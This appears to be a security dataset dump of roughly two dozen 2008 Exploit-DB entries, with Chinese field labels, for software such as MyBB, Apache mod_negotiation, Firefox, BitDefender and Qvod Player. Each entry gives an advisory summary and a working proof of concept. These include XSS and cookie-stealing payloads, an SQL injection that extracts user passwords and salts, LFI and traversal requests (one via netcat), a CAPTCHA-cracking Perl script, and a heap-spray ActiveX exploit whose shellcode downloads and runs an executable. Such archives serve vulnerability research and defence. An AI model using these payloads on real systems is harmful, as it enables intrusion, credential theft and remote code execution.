QLWD/code_shield huggingface dataset:
标题: VB Marketing - 'tseekdir.cgi' Local File Inclusion EDB-ID: 31071 CVE: 2008-0488 类型: WEBAPPS 平台: CGI 发布日期: 2008-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27475/info

VB Marketing is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. 

http://www.example.com/cgi-bin/tseekdir.cgi?location=/etc/passwd%00 URL: https://www.exploit-db.com/exploits/31071
标题: DeluxeBB 1.1 - 'attachments_header.php' Cross-Site Scripting EDB-ID: 31049 CVE: 2008-0439 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/27401/info

DeluxeBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects DeluxeBB 1.1; other versions may also be vulnerable. 

http://www.example.com/path/templates/default/admincp/attachments_header.php?lang_listofmatches=<script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/31049
标题: Novemberborn sIFR 2.0.2/3 - 'txt' Cross-Site Scripting EDB-ID: 31047 CVE: 2008-0438 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/27394/info

Novemberborn sIFR is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to sIFR 2.0.3 and 3r278 are vulnerable. 

https://www.example.com/<fontname>.swf?txt=<a href="http://www.example2.com">click me!</a> http://www.example.com/fonts/FuturaLt.swf?txt=%3Ca%20href=%22javascript:alert(document.cookie)%22%3Eclick%20me!%3C/a%3E&textalign=left&offsetTop=-2&textcolor= URL: https://www.exploit-db.com/exploits/31047
标题: Singapore 0.10.1 Modern Template - 'gallery' Cross-Site Scripting EDB-ID: 31044 CVE: 2008-0400 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27382/info

singapore Modern template is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Modern 1.3.2 and prior versions are reported vulnerable. Reports indicate that Modern 1.3.2 ships with singapore 0.10.1 by default. 

http://www.example.com/[singapore_path]/default.php?gallery="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/31044
标题: PacerCMS 0.6 - 'id' Multiple SQL Injections EDB-ID: 31048 CVE: 2008-0451 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/27397/info

PacerCMS is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

These issues affect versions prior to PacerCMS 0.6.1.

NOTE: To exploit these issues, the attacker may require 'staff member' access.

http://www.example.com/pacercms/siteadmin/article-edit.php?id=[SQL] URL: https://www.exploit-db.com/exploits/31048
标题: Mozilla Firefox 2.0 - 'chrome://' URI JavaScript File Request Information Disclosure EDB-ID: 31051 CVE: 2008-0418 类型: REMOTE 平台: LINUX 发布日期: 2008-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27406/info

Mozilla Firefox is prone to an information-disclosure vulnerability because it fails to restrict access to local JavaScript, images and stylesheets files.

Attackers can exploit this issue to gain access to potentially sensitive information that could aid in further attacks.

Firefox 2.0.0.11 is vulnerable; other versions may also be affected.

NOTE: For an exploit to succeed, a user must have an addon installed that does not store its contents in a '.jar' file. The attacker would have to target a specific addon that uses "flat" packaging. 

<script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script> <script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script> URL: https://www.exploit-db.com/exploits/31051
标题: MegaBBS 1.5.14b - 'upload.asp' Cross-Site Scripting EDB-ID: 31042 CVE: 2008-0436 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27368/info

MegaBBS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MegaBBS 1.5.14b is vulnerable; other versions may also be affected. 

http://www.example.com/path/profile-upload/upload.asp?target=code URL: https://www.exploit-db.com/exploits/31042
标题: PHP 5.2.5 - cURL 'safe_mode' Security Bypass EDB-ID: 31053 CVE: 2007-4850 类型: REMOTE 平台: PHP 发布日期: 2008-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/27413/info

PHP cURL is prone to a 'safe mode' security-bypass vulnerability.

Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.

The issue affects PHP 5.2.5 and 5.2.4. 

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__))); URL: https://www.exploit-db.com/exploits/31053
标题: Alice Gate2 Plus Wi-Fi Router - Cross-Site Request Forgery EDB-ID: 31043 CVE: 2008-7165 类型: WEBAPPS 平台: CGI 发布日期: 2008-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27374/info

Alice Gate2 Plus Wi-Fi routers are prone to a cross-site request-forgery vulnerability.

An attacker can exploit this issue to alter administrative configuration on affected devices. Specifically, altering the wireless encryption settings on devices has been demonstrated. Other attacks may also be possible. 

http://www.example.com/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on URL: https://www.exploit-db.com/exploits/31043
标题: Apache 2.2.6 mod_negotiation - HTML Injection / HTTP Response Splitting EDB-ID: 31052 CVE: 2008-0455 类型: REMOTE 平台: LINUX 发布日期: 2008-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/27409/info

Apache 'mod_negotiation' is prone to an HTML-injection and an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is served, cached, or interpreted; other attacks are also possible. 

// Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115
// Compile with flex compiler
package
{
  import flash.display.Sprite;
  import flash.net.*
  public class TestXss extends flash.display.Sprite {
    public function TestXss(){
      var r:URLRequest = new URLRequest('http://victim/<img%20src=sa%20
                  onerror=eval(document.location.hash.substr(1))>#alert(123)');

      r.method = 'POST';
      r.data = unescape('test');
      r.requestHeaders.push(new URLRequestHeader('Accept', 'image/jpeg; q=0'));

      navigateToURL(r, '_self');
     
    }
    }
} URL: https://www.exploit-db.com/exploits/31052
标题: SDL_image 1.2.6 - Invalid '.GIF' File LWZ Minimum Code Size Remote Buffer Overflow EDB-ID: 31054 CVE: 2007-6697 类型: DOS 平台: LINUX 发布日期: 2008-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/27417/info

The SDL_image library is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. The issue occurs when handling malformed GIF images.

Attackers can leverage this issue to execute arbitrary code in the context of an application using the library. Successful exploits will compromise the application and possibly the underlying computer. Failed attacks will cause denial-of-service conditions.

Versions prior to SDL_image 1.2.7 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31054.gif URL: https://www.exploit-db.com/exploits/31054
标题: BitDefender Products - Update Server HTTP Daemon Directory Traversal EDB-ID: 31039 CVE: 2008-0396 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27358/info

BitDefender Update Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access potentially sensitive information that could aid in further attacks.

BitDefender Security for File Servers, BitDefender Enterprise Manger, and other BitDefender products that include the Update Server are vulnerable. This issue affects Update Server when running on Windows; Linux and UNIX variants may also be affected. 

echo -e "GET /../../boot.ini HTTP/1.0\r\n\r\n" | nc <server> <port> URL: https://www.exploit-db.com/exploits/31039
标题: CORE FORCE Firewall 0.95.167 and Registry Modules - Multiple Local Kernel Buffer Overflow Vulnerabilities EDB-ID: 31036 CVE: 2008-0365 类型: LOCAL 平台: WINDOWS 发布日期: 2008-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/27341/info

CORE FORCE Firewall and Registry modules are prone to multiple local kernel buffer-overflow vulnerabilities because the software fails to adequately verify user-supplied input.

Local attackers can exploit these issues to cause denial-of-service conditions. Attackers may also be able to escalate privileges and execute arbitrary code, but this has not been confirmed.

These issues affect versions up to and including CORE FORCE 0.95.167.

All the vulnerabilities can be reproduced by running a combination of
DC2 and BSODHook tools.

Step by step instructions:

- Get DC2.exe (Driver Path Verifier) from the latest Windows Driver Kit.

- Login as unprivileged user.

- Run "dc2 /hct /a".

- Get BSODHook.exe from Matousec 
http://www.matousec.com/projects/windows-personal-firewall-analysis/plague-in-security-software-drivers.php

- Click on "Load Driver" then click on "Find SSDT hooks" then "Add to
probe list" and then "GO". URL: https://www.exploit-db.com/exploits/31036
标题: BitTorrent 6.0 / uTorrent 1.6/1.7 - Peers Window Remote Code Execution EDB-ID: 31032 CVE: 2008-0364 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/27321/info

BitTorrent and uTorrent are prone to a remote code-execution vulnerability because the applications fail to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application or to crash the affected application, denying service to legitimate users.

This issue affects the following versions:

BitTorrent 6.0
uTorrent 1.7.5
uTorrent 1.8-alpha-7834

Earlier versions may be affected as well.

UPDATE (January 24, 2008): This issue was originally documented as a denial-of-service issue, but reliable reports suggest that this issue can be exploited to execute arbitrary code. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31032.zip URL: https://www.exploit-db.com/exploits/31032
标题: phpAutoVideo 2.21 - 'index.php?cat' Cross-Site Scripting EDB-ID: 31038 CVE: 2008-0432 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27346/info
 
phpAutoVideo is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to execute arbitrary code within the context of the webserver process, steal cookie-based authentication credentials, and launch other attacks.
 
phpAutoVideo 2.21 is vulnerable; other versions may also be affected. 

http://www.example.com/[Target.il]/[Path]/index.php?cat=%22%3E%3Cscript%3Ealert(1);%3C/script%3E URL: https://www.exploit-db.com/exploits/31038
标题: MyBB 1.2.10 - 'moderation.php' Multiple SQL Injections EDB-ID: 31034 CVE: 2008-0383 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/27323/info

MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to MyBB 1.2.11 are vulnerable. 

http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2
http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'+UNION+SELECT+waraxe--+
http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads&moveto=2&threads=war|axe URL: https://www.exploit-db.com/exploits/31034
标题: pMachine Pro 2.4.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31027 CVE: 2008-0334 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/27282/info

pMachine Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The issues affect pMachine Pro 2.4.1; other versions may also be vulnerable.

NOTE: pMachine Pro has been replaced by ExpressionEngine. The vendor recommends upgrading. 

http://www.example.com/pm/language/spanish/preferences.php?L_PREF_NAME[855]=<script>alert(ZOMG!);</script> URL: https://www.exploit-db.com/exploits/31027
标题: WordPress Plugin Peter's Math Anti-Spam 0.1.6 - Audio CAPTCHA Security Bypass EDB-ID: 31029 CVE: 2008-7216 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27287/info

Peter's Math Anti-Spam for WordPress is prone to a security-bypass vulnerability.

This issue occurs when presenting a visitor with challenge data to determine if they are a legitimate user or an automaton. The challenge data is poorly obfuscated and can be interpreted by script code.

Attackers can leverage this issue to bypass the security measures provided by the plugin via an automated script. This could aid in spam distribution and other attacks.

Peter's Math Anti-Spam for WordPress 0.1.6 is vulnerable; other versions may also be affected. 

$ cat math_spam.pl
#!/usr/bin/perl -w

require bytes;

        my $buffer;
        my $number;
        my $op1;
        my $op2;

        my %numberPrints = ("0045", 0,
                            "00c5", 1,
                            "0485", 2,
                            "4309", 3,
                            "0205", 4,
                            "0847", 5,
                            "0601", 6,
                            "0644", 7,
                            "0405", 8,
                            "0031", 9);

        my %numberSizes = ( 0, 4045,
                            1, 3983,
                            2, 4431,
                            3, 4250,
                            4, 4595,
                            5, 5389,
                            6, 4949,
                            7, 4436,
                            8, 4584,
                            9, 5009);

        my $PLUS_SIZE = 7365;
 
        open (INFILE, "<$ARGV[0]");
        binmode(INFILE);
        sysseek(INFILE, 14, 0); #That "0" third argument makes seeking 
absoulte
        sysread(INFILE, $buffer, 2);
        #$number = sprintf("%x%x", map {ord($_)} 
split(//,substr($buffer,0,2)));
        $number = sprintf("%.2x%.2x", map {ord($_)} split(//,$buffer));
        $op1 = $numberPrints{$number};
        sysseek(INFILE, $numberSizes{$op1} + $PLUS_SIZE - 2, 1); #That 
third "1" argument makes seeking relative
        sysread(INFILE, $buffer, 2);
        $number = sprintf("%.2x%.2x", map {ord($_)} split(//,$buffer));
        $op2 = $numberPrints{$number};
        print $op1 . " + " . $op2 . " = " . ($op1+$op2) . "\n";
        close(INFILE); URL: https://www.exploit-db.com/exploits/31029
标题: phpAutoVideo 2.21 - 'sidebar.php?loadpage' Remote File Inclusion EDB-ID: 31037 CVE: 2008-0433 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27346/info

phpAutoVideo is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code within the context of the webserver process, steal cookie-based authentication credentials, and launch other attacks.

phpAutoVideo 2.21 is vulnerable; other versions may also be affected. 

http://www.example.com/[Target.il]/[Path]/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=[SH3LL] URL: https://www.exploit-db.com/exploits/31037
标题: Article Dashboard - '/admin/login.php' Multiple SQL Injections EDB-ID: 31028 CVE: 2008-0286 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27286/info

Article Dashboard is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/admin/login.php?user=admin'-- | /* URL: https://www.exploit-db.com/exploits/31028
标题: 8E6 R3000 Internet Filter 2.0.5.33 - URI SecURIty Bypass EDB-ID: 31031 CVE: 2008-0372 类型: REMOTE 平台: HARDWARE 发布日期: 2008-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/27309/info

8e6 R3000 Internet Filter is prone to a vulnerability that allows attackers to bypass URI filters.

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block access to. This could aid in further attacks.

R3000 Internet Filter 2.0.05.33 is vulnerable; other versions may also be affected. 

packet 1: GE
packet 2: T / HTTP/1.0\r\n




packet 1: GET / HTTP/1.0
X-SomeHeader: ...
....

packet 2: X-SomeOtherHeader: ....
Host: www.example.com
... URL: https://www.exploit-db.com/exploits/31031
标题: PHP Running Management 1.0.2 - 'index.php' Cross-Site Scripting EDB-ID: 31022 CVE: 2008-0258 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/27268/info

PHP Running Management is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to PHP Running Management 1.0.3.

http://www.example.com/index.php?message=%3Cscript%3Edocument.writeln(123)%3C/script%3E%20 URL: https://www.exploit-db.com/exploits/31022
标题: Apple Safari 2.0.4 - KHTML WebKit Remote Denial of Service EDB-ID: 31021 CVE: 2008-0298 类型: DOS 平台: OSX 发布日期: 2008-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27261/info

Apple Safari is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Apple Safari 2 running on Mac OS X is vulnerable. 

<html>
<head>
<title>Safari Exploit</title>
</head>
<body>

<form>
<div id="foo" style="display:none;">
<table>
<tr>
<td></td>
</tr>
</table>
</div>
<input type="text" />
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/31021
标题: Qvod Player 2.1.5 - 'QvodInsert.dll' ActiveX Control Remote Buffer Overflow EDB-ID: 31023 CVE: 2008-4664 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27271/info

Qvod Player 'QvodInsert.dll' ActiveX control is prone to is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

The issue affects versions prior to Qvod Player 2.1.5 build 0053. 

<html>
<body>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" 
width=100 height=200>
</object>
<script>
var heapSprayToAddress = 0x05050505;
var shellcode = unescape("%u9090"+"%u9090"+
"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +
"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" +
"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" +
"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" +
"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" +
"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" +
"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" +
"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" +
"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" +
"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" +
"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" +
"%u312f%u3732%u302e%u302e%u312e%u742f%u7365%u2f74" +
"%u2e64%u7865%u0065");
var heapBlockSize = 0x400000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory = spraySlide + shellcode;
}

try
{ var a=new Array(813);
a=a+"7rBJ"+"aaaaaaaaaccccccccccccccccccccccccccvvvvvvvvvvvvvvvvvvvvvvvvvvvbbbbbbbbbbbbbbbbbbbbbbnnnnnnnnnnnnnnnnnnnnnnnnnnnnhhhhhhhhhhhhhhhhhhhhhhhhhh";
document.write(evil.URL=a);
}
catch(e){}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/31023